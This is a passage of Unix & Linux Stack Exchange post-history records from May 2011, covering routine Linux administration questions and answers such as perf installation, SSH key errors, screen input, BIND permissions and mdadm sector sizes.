  <row Id="34828" PostHistoryTypeId="6" PostId="13939" RevisionGUID="b32e9f33-709a-4bea-b915-eb7dede720a6" CreationDate="2011-05-28T07:52:53.750" UserId="2421" Comment="edited tags" Text="élinuxàékernelàésoftwareöinstallationàégentooàéperföeventà" />
  <row Id="34829" PostHistoryTypeId="5" PostId="13939" RevisionGUID="7e703835-143c-4546-ae61-8d8625b267d1" CreationDate="2011-05-28T08:00:35.433" UserId="4799" Comment="it's perf, not prof" Text="From what I have checked it looks like kernel side of 'perf' subsystem is enabled on computer I work on.&#xD;&#xA;&#xD;&#xA;Checking kernel configuration shows the following&#xD;&#xA;&#xD;&#xA;    $ zgrep &quot;_PERF[_= ]&quot; /proc/config.gz &#xD;&#xA;    CONFIG_HAVE_PERF_EVENTS=y&#xD;&#xA;    CONFIG_PERF_EVENTS=y&#xD;&#xA;    # CONFIG_PERF_COUNTERS is not set&#xD;&#xA;    CONFIG_HAVE_PERF_EVENTS_NMI=y&#xD;&#xA;&#xD;&#xA;I also did the check described in [perf_events FAQ][perf_events-FAQ]:&#xD;&#xA;&#xD;&#xA;    $ cat /proc/sys/kernel/perf_event_paranoid&#xD;&#xA;    1&#xD;&#xA;&#xD;&#xA;But the **`perf` tool** is not installed:&#xD;&#xA;&#xD;&#xA;    $ perf&#xD;&#xA;    -bash: perf: command not found&#xD;&#xA;    $ /sbin/perf&#xD;&#xA;    -bash: /sbin/perf: No such file or directory&#xD;&#xA;    $ /usr/sbin/perf&#xD;&#xA;    -bash: /usr/sbin/perf: No such file or directory&#xD;&#xA;&#xD;&#xA;Is it possible to install perf userland as an ordinary user, to one's own home directory (for '2.6.36-gentoo-r4' kernel)?&#xD;&#xA;&#xD;&#xA;Or do I need to ask administrator of machine in question to install it?  More unfortunately `dev-util/perf` package on Gentoo is masked (blocked) on amd64:&#xD;&#xA;&#xD;&#xA;    $ emerge --search perf&#xD;&#xA;    [...]&#xD;&#xA;    *  dev-util/perf [ Masked ]&#xD;&#xA;          Latest version available: 2.6.35_rc4&#xD;&#xA;          Latest version installed: [ Not Installed ]&#xD;&#xA;          Size of files: 73,503 kB&#xD;&#xA;          Homepage:      http://perf.wiki.kernel.org/&#xD;&#xA;          Description:   Userland tools for Linux Performance Counters&#xD;&#xA;          License:       GPL-2&#xD;&#xA;&#xD;&#xA;*`perf` is one of [prerequisites][HPC Toolkit install] installing [HPC Toolkit][]...*&#xD;&#xA;&#xD;&#xA;[perf_events-FAQ]: http://web.eecs.utk.edu/~vweaver1/projects/perf-events/faq.html&#xD;&#xA;[HPC Toolkit]: http://hpctoolkit.org&#xD;&#xA;[HPC Toolkit install]: http://hpctoolkit.org/software-instructions.html" />
  <row Id="34830" PostHistoryTypeId="5" PostId="13910" RevisionGUID="a0fd4cf2-1227-4649-ae3b-a0004b944dc4" CreationDate="2011-05-28T08:29:34.603" UserId="2594" Comment="added 204 characters in body; added 28 characters in body; added 4 characters in body; added 50 characters in body" Text="    for file in /foo/*&#xD;&#xA;    do&#xD;&#xA;      if [ -f &quot;$file&quot; ]&#xD;&#xA;      then&#xD;&#xA;        dd if=&quot;$file&quot; of=&quot;$file.truncated&quot; bs=31 skip=1 &amp;&amp; mv &quot;$file.truncated&quot; &quot;$file&quot;&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;or the faster, thanks to Gilles' suggestion:&#xD;&#xA;&#xD;&#xA;    for file in /foo/*&#xD;&#xA;        do&#xD;&#xA;          if [ -f $file ]&#xD;&#xA;          then&#xD;&#xA;            cut +32c $file &gt; $file.truncated &amp;&amp; mv $file.truncated $file&#xD;&#xA;          fi&#xD;&#xA;        done&#xD;&#xA;&#xD;&#xA;Note: Posix cut specify &quot;-c +32&quot; instead of &quot;+32c&quot;." />
  <row Id="34831" PostHistoryTypeId="5" PostId="13811" RevisionGUID="cde42675-ed4a-4aa9-963e-589618f75871" CreationDate="2011-05-28T08:32:19.330" UserId="2343" Comment="added 366 characters in body; added 2 characters in body; deleted 2 characters in body" Text="Just for the sake of having a variety of options presented on this page, Here are two more ways:   &#xD;&#xA;&#xD;&#xA;1: *[octave](http://www.gnu.org/software/octave/)*  &#xD;&#xA;&#xD;&#xA;  * GNU Octave is a high-level interpreted language, primarily intended for numerical computations. It provides capabilities for the numerical solution of linear and nonlinear problems, and for performing other numerical experiments. &#xD;&#xA;&#xD;&#xA;Here is a quick octave example.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    octave -q --eval 'A=1:10;&#xD;&#xA;      printf (&quot;# %f\t%f\t%f\t%f\n&quot;, min(A), max(A), median(A), mean(A));'  &#xD;&#xA;    # 1.000000        10.000000       5.500000        5.500000&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;2: *bash + single-purpose tools*.  &#xD;&#xA;&#xD;&#xA;For bash to handle floating-point numbers, this script uses `numprocess` and `numaverage` from package `num-utils`.&#xD;&#xA;&#xD;&#xA;PS.  I've also had a reasonable look at `bc`, but for this particular job, it doesn't offer anything beyond what `awk` does. It is (as the 'c' in 'bc' states) a calculator—a calculator which requires a much programming as `awk` and this bash script...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;    arr=($(sort -n &quot;LIST&quot; |tee &gt;(numaverage 2&gt;/dev/null &gt;stats.avg) ))&#xD;&#xA;    cnt=${#arr[@]}; ((cnt==0)) &amp;&amp; { echo -e &quot;0\t0\t0\t0\t0&quot;; exit; }&#xD;&#xA;    mid=$((cnt/2)); &#xD;&#xA;    if [[ ${cnt#${cnt%?}} == [02468] ]] &#xD;&#xA;       then med=$( echo -n &quot;${arr[mid-1]}&quot; |numprocess /+${arr[mid]},%2/ )&#xD;&#xA;       else med=${arr[mid]}; &#xD;&#xA;    fi     #  count   min       max           median        average&#xD;&#xA;    echo -ne &quot;$cnt\t${arr[0]}\t${arr[cnt-1]}\t$med\t&quot;; cat stats.avg &#xD;&#xA;" />
  <row Id="34832" PostHistoryTypeId="2" PostId="13940" RevisionGUID="9b3d67d0-62be-45c2-988c-c406b0096b85" CreationDate="2011-05-28T08:46:16.743" UserId="3496" Text="I tried setting up git as shown in [Github's help page][1], on Arch linux but there seems to be some problem with the SSH keys. It gives this error-&#xD;&#xA;&#xD;&#xA;    Permission denied (publickey).&#xD;&#xA;&#xD;&#xA;This problem is documented in the [troubleshooting page][2] but I when I tried the procedure shown there, it didn't really solve the problem. How can I solve this problem?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://help.github.com/linux-set-up-git/&#xD;&#xA;  [2]: http://help.github.com/troubleshooting-ssh/" />
  <row Id="34833" PostHistoryTypeId="1" PostId="13940" RevisionGUID="9b3d67d0-62be-45c2-988c-c406b0096b85" CreationDate="2011-05-28T08:46:16.743" UserId="3496" Text="github ssh problem- permission denied(publickey)" />
  <row Id="34834" PostHistoryTypeId="3" PostId="13940" RevisionGUID="9b3d67d0-62be-45c2-988c-c406b0096b85" CreationDate="2011-05-28T08:46:16.743" UserId="3496" Text="ésshàégitàéopensshà" />
  <row Id="34835" PostHistoryTypeId="2" PostId="13941" RevisionGUID="0e3c65c6-e863-4f5a-8785-e9863cf8ce8f" CreationDate="2011-05-28T09:01:48.683" UserId="6761" Text="Make sure that you have set the correct permissions on your `~/.ssh` folder.&#xD;&#xA;&#xD;&#xA;`$ chmod go-w ~/.ssh`&#xD;&#xA;&#xD;&#xA;See: https://wiki.archlinux.org/index.php/Using_SSH_Keys&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34836" PostHistoryTypeId="2" PostId="13942" RevisionGUID="28dcfef3-15e8-477d-a028-62a2cf6ec05b" CreationDate="2011-05-28T09:04:55.563" UserId="7859" Text="Open Synaptic and search for System.Windows.Forms and select libmono-winforms2.0-cil or libmono-winforms1.0-cil and then apply. &#xD;&#xA;&#xD;&#xA;(optional) You might need to install System.Runtime package as well. just search for that and install libmono-system-runtime2.0-cil or libmono-system-runtime1.0-cil" />
  <row Id="34837" PostHistoryTypeId="25" PostId="13937" RevisionGUID="36643380-b37a-48f6-8ca1-28ec55346e95" CreationDate="2011-05-28T09:13:13.863" Comment="http://twitter.com/#!/StackUnix/status/74402837211267072" />
  <row Id="34838" PostHistoryTypeId="5" PostId="13910" RevisionGUID="89d30c05-dd31-4c67-aa97-884b9da67f63" CreationDate="2011-05-28T09:24:16.187" UserId="2594" Comment="added 2 characters in body; added 184 characters in body" Text="    for file in /foo/*&#xD;&#xA;    do&#xD;&#xA;      if [ -f &quot;$file&quot; ]&#xD;&#xA;      then&#xD;&#xA;        dd if=&quot;$file&quot; of=&quot;$file.truncated&quot; bs=31 skip=1 &amp;&amp; mv &quot;$file.truncated&quot; &quot;$file&quot;&#xD;&#xA;      fi&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;or the faster, thanks to Gilles' suggestion:&#xD;&#xA;&#xD;&#xA;    for file in /foo/*&#xD;&#xA;        do&#xD;&#xA;          if [ -f $file ]&#xD;&#xA;          then&#xD;&#xA;            tail +32c $file &gt; $file.truncated &amp;&amp; mv $file.truncated $file&#xD;&#xA;          fi&#xD;&#xA;        done&#xD;&#xA;&#xD;&#xA;Note: Posix tail specify &quot;-c +32&quot; instead of &quot;+32c&quot; but Solaris default tail doesn't like it:&#xD;&#xA;&#xD;&#xA;       $ /usr/bin/tail -c +32 /tmp/foo &gt; /tmp/foo1&#xD;&#xA;        tail: cannot open input&#xD;&#xA;&#xD;&#xA;`/usr/xpg4/bin/tail` is fine with both syntaxes.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34839" PostHistoryTypeId="2" PostId="13943" RevisionGUID="9d1a53ee-b7b6-49ec-b264-927e99620cf1" CreationDate="2011-05-28T09:30:36.710" UserId="2871" Text="**Quiz : How to generate the backtrace by looking at the stack values?**&#xD;&#xA;&#xD;&#xA;    0xf3e2de34 f3e2de70 c0135351 401ef021 00000000   p.bsQS...p......&#xD;&#xA;    0xf3e2de44 f3e2de81 00000021 f3e2c000 f7950924   ..bs......bs...w&#xD;&#xA;    0xf3e2de54 00000000 401ef000 00000246 00000246   .....p..F...F...&#xD;&#xA;    0xf3e2de64 00000001 00000001 f7950000 f3e2df18   ...........w..bs&#xD;&#xA;    0xf3e2de74 c02898b5 322d7875 23203235 00007820   5...ux.252...x..&#xD;&#xA;    0xf3e2de84 f3e2de98 00000000 f7950bd0 bffff0ec   ..bs....P..wlp..&#xD;&#xA;    0xf3e2de94 c70cf660 00000000 00000000 bffff0ec   .v.G........lp..&#xD;&#xA;    0xf3e2dea4 f3e2c000 f7950930 7fffffff 00000000   ..bs0..w........&#xD;&#xA;    0xf3e2deb4 00000000 00000001 00000000 bffff07b   .............p..&#xD;&#xA;    0xf3e2dec4 f5cfd880 bffff07b 00000000 f5f24740   .XOu.p.......Gru&#xD;&#xA;    0xf3e2ded4 c0124f87 00000000 00000000 00200200   .O..............&#xD;&#xA;    0xf3e2dee4 f3e2defc 067b3067 00000000 f5f24740   ..bsg0.......Gru&#xD;&#xA;    0xf3e2def4 c0124f87 f7950934 f7950934 c028331b   .O..4..w4..w.3..&#xD;&#xA;    0xf3e2df04 00000000 c01b0fe8 f5cfd880 f7950000   ....h....XOu...w&#xD;&#xA;    0xf3e2df14 fffffffb f3e2df50 c0283642 00000001   ....P.bsB6......&#xD;&#xA;    0xf3e2df24 00000001 00000001 f3e2c000 f6fe30d0   ..........bsP0.v&#xD;&#xA;&#xD;&#xA;**Hint - the current function can always be determined from EIP** &#xD;&#xA;&#xD;&#xA;I found this question at [kernelnewbies/ABI][1] documentation.  &#xD;&#xA;I really dont understand the hint given there?(Maybe because i have no idea about this thing).  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Could somebody explain me how to solve these kinda questions.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://kernelnewbies.org/ABI" />
  <row Id="34840" PostHistoryTypeId="1" PostId="13943" RevisionGUID="9d1a53ee-b7b6-49ec-b264-927e99620cf1" CreationDate="2011-05-28T09:30:36.710" UserId="2871" Text="How to generate the backtrace by looking at the stack values?" />
  <row Id="34841" PostHistoryTypeId="3" PostId="13943" RevisionGUID="9d1a53ee-b7b6-49ec-b264-927e99620cf1" CreationDate="2011-05-28T09:30:36.710" UserId="2871" Text="élinuxàéstackàéabià" />
  <row Id="34842" PostHistoryTypeId="2" PostId="13944" RevisionGUID="6d3529ea-4466-4a2c-8513-0b656b5d6416" CreationDate="2011-05-28T09:43:13.060" UserId="6960" Text="To check that it's 100% ok, and to check that it doesn't containt anything &quot;bad&quot; :)&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;I tried &lt;a href=&quot;https://encrypted.google.com/search?num=50&amp;hl=en&amp;q=inurl%3Ahttps+install49.iso+SHA256&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&quot;&gt;to google&lt;/a&gt; but with no luck. Of course it's need to be downloaded over a secure connection, HTTPS!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="34843" PostHistoryTypeId="1" PostId="13944" RevisionGUID="6d3529ea-4466-4a2c-8513-0b656b5d6416" CreationDate="2011-05-28T09:43:13.060" UserId="6960" Text="Where can I download the hash of an OpenBSD release ISO?" />
  <row Id="34844" PostHistoryTypeId="3" PostId="13944" RevisionGUID="6d3529ea-4466-4a2c-8513-0b656b5d6416" CreationDate="2011-05-28T09:43:13.060" UserId="6960" Text="éopenbsdà" />
  <row Id="34845" PostHistoryTypeId="5" PostId="13924" RevisionGUID="6578521a-a812-4eb5-b80a-d34ecad9b77e" CreationDate="2011-05-28T09:47:38.673" UserId="1925" Comment="deleted 9 characters in body" Text="Whenever I try to run the `named` service, I get the following even though my permissions and folder ownership is all fine:&#xD;&#xA;&#xD;&#xA;    [root@f13 ~]# service named start&#xD;&#xA;    Starting named: &#xD;&#xA;    Error in named configuration:&#xD;&#xA;    zone localhost/IN: loading from master file /var/lib/named/localhost.zone failed: permission denied&#xD;&#xA;    zone localhost/IN: not loaded due to errors.&#xD;&#xA;    _default/localhost/IN: permission denied&#xD;&#xA;    zone 235.168.192.in-addr.arpa/IN: loading from master file /var/lib/named/mydb-for-192-168-235 failed: permission denied&#xD;&#xA;    zone 235.168.192.in-addr.arpa/IN: not loaded due to errors.&#xD;&#xA;    _default/235.168.192.in-addr.arpa/IN: permission denied&#xD;&#xA;    zone example.org/IN: loading from master file /var/lib/named/mydb-for-example-dot-org failed: permission denied&#xD;&#xA;    zone example.org/IN: not loaded due to errors.&#xD;&#xA;    _default/example.org/IN: permission denied&#xD;&#xA;                                                               [FAILED]&#xD;&#xA;    [root@f13 ~]# ls -lh /var/lib/named/&#xD;&#xA;    total 12K&#xD;&#xA;    -rwxrwxrwx. 1 named named 191 May 27 09:13 localhost.zone&#xD;&#xA;    -rwxrwxrwx. 1 named named 277 May 27 09:15 mydb-for-192-168-235&#xD;&#xA;    -rwxrwxrwx. 1 named named 269 May 27 09:14 mydb-for-example-dot-org&#xD;&#xA;&#xD;&#xA;" />
  <row Id="34846" PostHistoryTypeId="2" PostId="13945" RevisionGUID="73c10696-39a3-4b59-9aa8-680af9f5965e" CreationDate="2011-05-28T09:51:12.057" UserId="1925" Text="The SHA256 checksums for OpenBSD releases are available in the same folder on the http/ftp servers you downloaded the iso image from." />
  <row Id="34847" PostHistoryTypeId="2" PostId="13946" RevisionGUID="0da002e6-358f-4a7e-8be4-a313ba5bccb9" CreationDate="2011-05-28T10:08:15.527" UserId="6960" Text="Why does Distrowatch.org state that Red Hat is Fedora based, and why does it state that Fedora is independent, when it's **NOT**? See URL's.&#xD;&#xA;&#xD;&#xA;https://fedoraproject.org/wiki/History&#xD;&#xA;http://distrowatch.com/table.php?distribution=redhat&#xD;&#xA;http://distrowatch.com/table.php?distribution=fedora&#xD;&#xA;&#xD;&#xA;Can someone explain this? Or I must do a bugreport?" />
  <row Id="34848" PostHistoryTypeId="1" PostId="13946" RevisionGUID="0da002e6-358f-4a7e-8be4-a313ba5bccb9" CreationDate="2011-05-28T10:08:15.527" UserId="6960" Text="Distrowatch typo?" />
  <row Id="34849" PostHistoryTypeId="3" PostId="13946" RevisionGUID="0da002e6-358f-4a7e-8be4-a313ba5bccb9" CreationDate="2011-05-28T10:08:15.527" UserId="6960" Text="édistrosà" />
  <row Id="34850" PostHistoryTypeId="2" PostId="13947" RevisionGUID="dc9c5784-ba6f-49ec-bb64-1a569ad5c691" CreationDate="2011-05-28T10:16:43.493" UserId="6960" Text="e.g.: Fedora, Ubuntu. What softwares are there to help me convert to AVI from DVD?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="34851" PostHistoryTypeId="1" PostId="13947" RevisionGUID="dc9c5784-ba6f-49ec-bb64-1a569ad5c691" CreationDate="2011-05-28T10:16:43.493" UserId="6960" Text="What are my choices when I want to convert DVD format to AVI under Linux?" />
  <row Id="34852" PostHistoryTypeId="3" PostId="13947" RevisionGUID="dc9c5784-ba6f-49ec-bb64-1a569ad5c691" CreationDate="2011-05-28T10:16:43.493" UserId="6960" Text="élinuxàéconversionà" />
  <row Id="34853" PostHistoryTypeId="2" PostId="13948" RevisionGUID="d4d67363-77e9-49ed-b866-e197d273ecb7" CreationDate="2011-05-28T10:29:05.057" UserId="5770" Text="Take a look at [OGMRip](http://ogmrip.sourceforge.net/en/manual.html) for a very intuitive GUI utility.&#xD;&#xA;&#xD;&#xA;I always got rips I was happy with when using OGMRip." />
  <row Id="34854" PostHistoryTypeId="2" PostId="13949" RevisionGUID="5e261e98-8a13-4dea-83aa-6fac7ca8f6e6" CreationDate="2011-05-28T10:37:44.170" UserId="1925" Text="Both of those statements sound true to me. RedHat Enterprise Linux is basically a system of a professionally rehashed version of Fedora with a support contract.&#xD;&#xA;&#xD;&#xA;You are probably mixing up RH with RHEL. The old days of RedHat and the current lineup of Fedora, RehHat Enterprise Linux and it's free copy cat CentOS are very different.&#xD;&#xA;&#xD;&#xA;Also, Fedora IS independent of any other current distribution. It's one of the leading independent distros. An example of a dependent distro would be CentOS, which relies on repackaging stuff from RHEL and ultimately Fedora." />
  <row Id="34855" PostHistoryTypeId="5" PostId="13946" RevisionGUID="6f6ac0b0-5023-4305-a005-a4006ed32f55" CreationDate="2011-05-28T10:39:12.627" UserId="1925" Comment="added 28 characters in body" Text="Why does Distrowatch state that [Red Hat is Fedora based][1], and why does it state that [Fedora is independent][2], when it's **[NOT][3]**?&#xD;&#xA;&#xD;&#xA;Can someone explain this? Or should I file a bug report?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://distrowatch.com/table.php?distribution=redhat&#xD;&#xA;  [2]: http://distrowatch.com/table.php?distribution=fedora&#xD;&#xA;  [3]: https://fedoraproject.org/wiki/History" />
  <row Id="34856" PostHistoryTypeId="2" PostId="13950" RevisionGUID="1e12d17f-13f6-4ea8-8663-3ea58ab78df3" CreationDate="2011-05-28T11:15:58.567" UserId="7764" Text="Personally, I love [Acidrip][1].  It shows the final command that does the action - Nice to learn and to know what's going-on at the backend.&#xD;&#xA;&#xD;&#xA;In case of Ubuntu, its available in the repo as well (not sure about fedora)  &#xD;&#xA;`apt-get install acidrip`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sourceforge.net/projects/acidrip/" />
  <row Id="34857" PostHistoryTypeId="5" PostId="13921" RevisionGUID="5e6b952e-b244-446b-b742-3b90c9fad0b8" CreationDate="2011-05-28T11:21:13.667" UserId="1925" Comment="deleted 2 characters in body" Text="I have installed the windows version of Firefox with [winetricks][1] under Fedora, hurrah!&#xD;&#xA;&#xD;&#xA;I heard that there is an Esker ActiveX Plug-in for Firefox, but I can't find it. I need it for visiting a website that uses Active X and by default it's only working under IE6.. :D (but it works perfectly under windows if the Firefox has the IE TAB plug-in installed.)&#xD;&#xA;&#xD;&#xA;Where is the offical Esker ActiveX Plug-in for Firefox?&#xD;&#xA;&#xD;&#xA;It woud be a great help to have activex under Fedora... :\&#xD;&#xA;&#xD;&#xA;  [1]: http://wiki.winehq.org/winetricks" />
  <row Id="34858" PostHistoryTypeId="2" PostId="13951" RevisionGUID="950e9d3d-8cad-4b23-a6ec-6d0fd5df4f20" CreationDate="2011-05-28T11:27:20.247" UserId="6960" Text="Is it still XEN? Or is it VirtualBox, KVM, VmWare or else?&#xD;&#xA;&#xD;&#xA;With fastest I mean that the guest VM is fast (the smallest speed loss because of Virtualization)" />
  <row Id="34859" PostHistoryTypeId="1" PostId="13951" RevisionGUID="950e9d3d-8cad-4b23-a6ec-6d0fd5df4f20" CreationDate="2011-05-28T11:27:20.247" UserId="6960" Text="What is the fastest Virtualization solution for Linux?" />
  <row Id="34860" PostHistoryTypeId="3" PostId="13951" RevisionGUID="950e9d3d-8cad-4b23-a6ec-6d0fd5df4f20" CreationDate="2011-05-28T11:27:20.247" UserId="6960" Text="éxenà" />
  <row Id="34861" PostHistoryTypeId="2" PostId="13952" RevisionGUID="584a7945-f810-4285-ade8-6d335044830e" CreationDate="2011-05-28T11:33:34.973" UserId="2671" Text="Fastest under what conditions? With hardware virtualization, the speed should be identical on all virtualization platforms.&#xD;&#xA;&#xD;&#xA;Therefore the only thing that you should consider looking for is hardware virtualization support in the software.&#xD;&#xA;&#xD;&#xA;As far as I know, Virtualbox doesn't support IOMMU hardware virtualization yet. KVM, VmWare and Xen should. Xen and VmWare should be the only ones supporting IOMMU on graphic cards (with differing degrees of success)." />
  <row Id="34863" PostHistoryTypeId="10" PostId="13843" RevisionGUID="4383b547-5cfa-4dfa-95a3-6ae58e814afb" CreationDate="2011-05-28T11:44:54.403" UserId="29" CloseReasonId="2" Text="[{&quot;Id&quot;:29,&quot;DisplayName&quot;:&quot;xenoterracide&quot;}]" />
  <row Id="34864" PostHistoryTypeId="5" PostId="13947" RevisionGUID="bd3a9c9a-371e-46a8-9126-abfed450e22e" CreationDate="2011-05-28T11:57:38.157" UserId="1925" Comment="deleted 24 characters in body; edited tags" Text="What software is out there there to help me convert to AVI from DVD?" />
  <row Id="34865" PostHistoryTypeId="6" PostId="13947" RevisionGUID="bd3a9c9a-371e-46a8-9126-abfed450e22e" CreationDate="2011-05-28T11:57:38.157" UserId="1925" Comment="deleted 24 characters in body; edited tags" Text="élinuxàésoftwareörecàéconversionàévideoöencodingà" />
  <row Id="34866" PostHistoryTypeId="25" PostId="13951" RevisionGUID="be6deb32-18f9-4c40-b59d-4829ad747e5d" CreationDate="2011-05-28T12:13:14.580" Comment="http://twitter.com/#!/StackUnix/status/74448138676604928" />
  <row Id="34867" PostHistoryTypeId="6" PostId="13937" RevisionGUID="87dfb03b-0836-4e16-94a2-d4093e8ecdcc" CreationDate="2011-05-28T12:25:40.387" UserId="885" Comment="edited tags" Text="ésoftwareöinstallationàégentooàénotörootöuserà" />
  <row Id="34868" PostHistoryTypeId="5" PostId="10696" RevisionGUID="cd52a6c6-c941-4582-bf6d-44a129fe1bb7" CreationDate="2011-05-28T12:28:59.467" UserId="885" Comment="removed aborted sentence fragment" Text="So you're looking for a package containing a file called `System.Windows.Forms.dll`. You can search:&#xD;&#xA;&#xD;&#xA;* on your machine: `apt-file search System.Windows.Forms.dll` (the [`apt-file` package](http://packages.ubuntu.com/apt-file) [![Install apt-file](http://bit.ly/software-small)](http://apt.ubuntu.com/p/NAME) must be installed)&#xD;&#xA;* online: at [packages.ubuntu.com](http://packages.ubuntu.com/#search_contents).&#xD;&#xA;&#xD;&#xA;Both methods lead you to [`libmono-winforms1.0-cil`](http://packages.ubuntu.com/maverick/libmono-winforms1.0-cil) and [libmono-winforms2.0-cil](http://packages.ubuntu.com/maverick/libmono-winforms2.0-cil) (on maverick).&#xD;&#xA;" />
  <row Id="34869" PostHistoryTypeId="6" PostId="13943" RevisionGUID="18f12456-d9a4-429b-9956-4a7701d1f3db" CreationDate="2011-05-28T12:32:58.110" UserId="885" Comment="edited tags" Text="élinuxàéexecutableàédebuggingàéx86à" />
  <row Id="34870" PostHistoryTypeId="2" PostId="13953" RevisionGUID="dc1e40a5-3daf-4d91-87c6-befb0423f011" CreationDate="2011-05-28T12:52:09.303" UserId="7864" Text="I'm trying to run a minecraft server on my unRAID server.&#xD;&#xA;&#xD;&#xA;The server will run in the shell, and then sit there waiting for input. To stop it, I need to type 'stop' and press enter, and then it'll save the world and gracefully exit, and I'm back in the shell. That all works if I run it via telnetting into the NAS box, but I want to run it directly on the box. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;this is what I previously had as a first attempt:&#xD;&#xA;&#xD;&#xA;    #define USER_SCRIPT_LABEL Start Minecraft server&#xD;&#xA;    #define USER_SCRIPT_DESCR Start minecraft server. needs sde2 mounted first&#xD;&#xA;    cd /mnt/disk/sde2/MCunraid&#xD;&#xA;    screen -d -m -S minecraft /usr/lib/java/bin/java -Xincgc -Xmx1024M -jar CraftBukkit.jar&#xD;&#xA;&#xD;&#xA;MCunraid is the folder where I have the Craftbukkit.jar and all the world files etc. If I type that screen line in directly, the screen does setup detached and the server launches. If I execute that line from within the script it doesn't seem to set up a screen&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;for stopping the server, I need to 'type' in STOP and then press enter. My approach was&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop $(echo -ne '\r')&quot;&#xD;&#xA;to send to screen 'minecraft' the text s-t-o-p and a carriage return. But that doesn't work, even if I type it directly onto the command line. But if I 'screen -r' I can get to the screen with the server running, then type 'stop' and it shuts down properly.&#xD;&#xA;&#xD;&#xA;any guidance here? As far as I can tell (linux noob), the command formatting is ok, but the screen doesn't seem to be hearing me. The server runs well if I telnet in and do it manually, just need to run it without being connected from my remote computer." />
  <row Id="34871" PostHistoryTypeId="1" PostId="13953" RevisionGUID="dc1e40a5-3daf-4d91-87c6-befb0423f011" CreationDate="2011-05-28T12:52:09.303" UserId="7864" Text="sending text input to a detached screen" />
  <row Id="34872" PostHistoryTypeId="3" PostId="13953" RevisionGUID="dc1e40a5-3daf-4d91-87c6-befb0423f011" CreationDate="2011-05-28T12:52:09.303" UserId="7864" Text="élinuxàéscreenà" />
  <row Id="34873" PostHistoryTypeId="2" PostId="13954" RevisionGUID="daeaea20-a494-4622-b1a6-c76d84e3b082" CreationDate="2011-05-28T12:59:05.150" UserId="1925" Text="The `$()` construct is going to strip the whitespace from the output of whatever command you run in it.&#xD;&#xA;&#xD;&#xA;In this case I assume you are specifically trying to send the equivolant of &lt;kbd&gt;Enter&lt;/kbd&gt; keystroke. You should try adding a regular newline inside your double quotes (and skip the whole echo business) or add a control character for the newline (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; &lt;kbd&gt;Enter&lt;/kbd&gt; will give you one that will look like ^M in a terminal, but it's a special newline character.).&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop&#xD;&#xA;    &quot;&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    screen -S minecraft -X stuff &quot;stop^M&quot;" />
  <row Id="34874" PostHistoryTypeId="2" PostId="13955" RevisionGUID="f030e529-e2f7-4d96-9679-38879ba72904" CreationDate="2011-05-28T13:23:30.493" UserId="6960" Text="I will install Ubuntu 11.04 to an &lt;a href=&quot;http://i.imgur.com/SsSBP.png&quot;&gt;encrypted VolumeGroup&lt;/a&gt; with the installer: http://i.imgur.com/Skil9.png&#xD;&#xA;&#xD;&#xA;AES&lt;br&gt;&#xD;&#xA;Blowfish&lt;br&gt;&#xD;&#xA;Serpent&lt;br&gt;&#xD;&#xA;&#xD;&#xA;Which one is the fastest from these 3? Or Using AES with &lt;a href=&quot;http://i.imgur.com/EPVa6.png&quot;&gt;only a 128 bit key&lt;/a&gt; gives the best performance/speed? Does someone has a graph/statistics about them? (or e.g.: what is the performance/speed difference between using an encrypted VG or not using encryption at all.)&#xD;&#xA;&#xD;&#xA;If there aren't any statistics about this, then how could I do one? What tests are there on the &quot;market&quot;?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="34875" PostHistoryTypeId="1" PostId="13955" RevisionGUID="f030e529-e2f7-4d96-9679-38879ba72904" CreationDate="2011-05-28T13:23:30.493" UserId="6960" Text="What encryption to use for good performance?" />
  <row Id="34876" PostHistoryTypeId="3" PostId="13955" RevisionGUID="f030e529-e2f7-4d96-9679-38879ba72904" CreationDate="2011-05-28T13:23:30.493" UserId="6960" Text="élinuxàéencryptionà" />
  <row Id="34877" PostHistoryTypeId="2" PostId="13956" RevisionGUID="84432df1-3af2-456a-8ba4-b88d6f58e742" CreationDate="2011-05-28T13:56:53.160" UserId="1131" Text="I want to use two 3 TB drives in a mdadm raid1 setup (using Debian Sequeeze).&#xD;&#xA;&#xD;&#xA;The drives use 4k hardware sectors instead of the traditional 512 byte ones.&#xD;&#xA;&#xD;&#xA;I am a bit confused because on the one hand the kernel reports:&#xD;&#xA;&#xD;&#xA;    $ cat /sys/block/sdb/queue/hw_sector_size&#xD;&#xA;    512&#xD;&#xA;&#xD;&#xA;But on the other hand `fdisk` reports:&#xD;&#xA;&#xD;&#xA;    # fdisk -l /dev/sdb&#xD;&#xA;    Disk /dev/sdb: 3000.6 GB, 3000592982016 bytes&#xD;&#xA;    255 heads, 63 sectors/track, 364801 cylinders&#xD;&#xA;    Units = cylinders of 16065 * 512 = 8225280 bytes&#xD;&#xA;    Sector size (logical/physical): 512 bytes / 4096 bytes&#xD;&#xA;    I/O size (minimum/optimal): 4096 bytes / 4096 bytes&#xD;&#xA;&#xD;&#xA;Thus, it seems that the kernel has some idea that the drive uses 4k sectors.&#xD;&#xA;&#xD;&#xA;The `mdadm` man page is a bit cryptic about the chunk size and raid1:&#xD;&#xA;&#xD;&#xA;&gt;        -c, --chunk=&#xD;&#xA;    